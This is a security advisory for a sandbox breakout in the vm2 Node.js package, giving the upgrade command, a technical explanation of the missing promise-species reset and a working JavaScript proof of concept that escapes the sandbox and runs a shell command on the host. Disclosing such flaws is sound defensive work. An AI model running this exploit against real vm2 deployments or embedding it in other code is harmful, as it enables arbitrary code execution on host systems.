GHSA-76w7-j9cq-rx2j
vm2 is Vulnerable to Sandbox Breakout Through Promise Species
Quick fix
GHSA-76w7-j9cq-rx2j — vm2: upgrade to the fixed version with the command below.
npm install vm2@3.11.4Details
### Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
### PoC
```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ```
### Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Are you affected?
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Affected packages
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-47208[ADVISORY]
- https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8[WEB]
- https://github.com/patriksimek/vm2[PACKAGE]
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4[WEB]